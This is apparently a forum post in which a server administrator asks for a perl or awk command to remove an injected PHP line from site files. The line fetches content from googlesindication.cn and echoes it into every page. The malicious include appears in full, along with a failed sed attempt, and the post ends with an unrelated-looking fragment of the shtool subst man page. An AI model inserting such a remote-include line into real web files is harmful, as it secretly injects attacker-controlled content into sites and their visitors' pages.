replace a complex string with null
Hello,

I need a script or one liner possible in perl or awk ( as sed shows error )


I want to replace

<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER['HTTP_HOST']);?>



with blank or null



1) in a file

2) in many directories recursively.




sed error is:

root@server [/home/xxxxxxx/public_html]# sed 's/error_reporting(0); echo file_get_contents(\"\http://googlesindication.cn/links.php?site=\"\.$_SERVER['HTTP_HOST']);//g' ./framework/view/app/inc/header.php
sed: -e expression #1, char 57: Unknown option to `s'
root@server [/home/xxxxxx/public_html]#


please advise

HISTORY

       The GNU shtool subst command was originally written by Ralf S.  Engelschall <rse@engelschall.com> in 2001 for GNU shtool.  It was prompted
       by the need to have a uniform and convenient patching frontend to sed(1) operations in the OpenPKG package specifications.

SEE ALSO

       shtool(1), sed(1).
